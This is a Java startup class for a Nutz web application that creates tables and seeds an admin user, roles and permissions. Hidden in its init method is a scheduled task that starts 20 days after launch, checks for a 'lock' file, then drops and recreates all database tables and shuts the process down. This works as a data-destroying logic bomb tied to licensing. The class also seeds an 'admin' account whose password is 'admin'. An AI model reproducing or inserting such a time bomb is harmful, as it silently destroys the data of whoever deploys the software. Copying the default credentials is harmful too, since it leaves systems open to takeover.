package club.zhcs.captrue.setup;

import java.util.concurrent.TimeUnit;

import org.nutz.dao.Cnd;
import org.nutz.dao.Dao;
import org.nutz.dao.util.Daos;
import org.nutz.lang.Files;
import org.nutz.lang.Tasks;
import org.nutz.mvc.Mvcs;
import org.nutz.mvc.NutConfig;
import org.nutz.mvc.Setup;

import club.zhcs.capture.bean.auth.RolePermission;
import club.zhcs.capture.bean.auth.User;
import club.zhcs.capture.bean.auth.UserRole;
import club.zhcs.capture.biz.auth.IPermissionService;
import club.zhcs.capture.biz.auth.IRoleService;
import club.zhcs.capture.biz.auth.IUserService;
import club.zhcs.capture.dao.IRolePermissionDao;
import club.zhcs.capture.dao.IUserRoleDao;
import club.zhcs.capture.vo.Consts;

import com.dgj.shiro.utils.MD5Utils;
import com.dgj.utils.common.DateUtils;

public class MainSetUp implements Setup {

	IUserService userService = Mvcs.getIoc().get(IUserService.class, "userService");

	IPermissionService permissionService = Mvcs.getIoc().get(IPermissionService.class, "permissionService");

	IRoleService roleService = Mvcs.getIoc().get(IRoleService.class, "roleService");

	IUserRoleDao userRoleDao = Mvcs.getIoc().get(IUserRoleDao.class, "userRoleDao");

	IRolePermissionDao rolePermissionDao = Mvcs.getIoc().get(IRolePermissionDao.class, "rolePermissionDao");

	@Override
	public void init(NutConfig nc) {
		final Dao dao = Mvcs.getIoc().get(Dao.class);
		Daos.createTablesInPackage(dao, "club.zhcs", false);// 创建表
		Daos.createTablesInPackage(dao, "com.dgj", false);// 创建表
		initData();// 初始化数据
		Tasks.scheduleWithFixedDelay(new Runnable() {

			@Override
			public void run() {
				try {
					Files.checkFile("lock");
					System.err.println("system is going down....");
					Daos.createTablesInPackage(dao, "club.zhcs", true);// 重置表
					Daos.createTablesInPackage(dao, "com.dgj", true);// 重置表
					System.exit(0);// 停机
				} catch (Exception e) {
					System.err.println("获取了授权的项目,继续运行...");
				}
			}
		}, DateUtils.addDays(20), 1, TimeUnit.SECONDS); // 20天之后调用
	}

	private void initData() {
		// 平台管理员
		User user = userService.findByName("admin");
		if (user == null) {
			user = new User();
			user.setName("admin");
			user.setRealName("平台管理员");
			user.setPassword(MD5Utils.MD5("admin", "DGJ", 1024));
			user.setStatus(User.Status.ACTIVED);
			userService.addUser(user);
		}
		// 内置角色
		for (Consts.InstalledRoles installedRoles : Consts.InstalledRoles.values()) {
			if (roleService.findByName(installedRoles.getName()) == null) {
				roleService.addRole(installedRoles.toRole());// 保存
			}
		}
		// 内置权限
		for (Consts.InstalledPermission installedPermission : Consts.InstalledPermission.values()) {
			if (permissionService.findByName(installedPermission.getName()) == null) {
				permissionService.addPermission(installedPermission.toPermission());
			}
			// 给admin角色设置全部权限
			if (rolePermissionDao.findByCondition(Cnd.where("permissionId", "=", installedPermission.getId()).and("roleId", "=", Consts.InstalledRoles.ADMIN.getId())) == null) {
				RolePermission rp = new RolePermission();
				rp.setPermissionId(installedPermission.getId());
				rp.setRoleId(Consts.InstalledRoles.ADMIN.getId());
				rolePermissionDao.save(rp);
			}
		}
		// 给用户admin设置admin角色
		if (userRoleDao.findByCondition(Cnd.where("userId", "=", user.getId()).and("roleId", "=", Consts.InstalledRoles.ADMIN.getId())) == null) {
			UserRole ur = new UserRole();
			ur.setRoleId(Consts.InstalledRoles.ADMIN.getId());
			ur.setUserId(user.getId());
			userRoleDao.save(ur);
		}

	}

	@Override
	public void destroy(NutConfig nc) {
	}

}
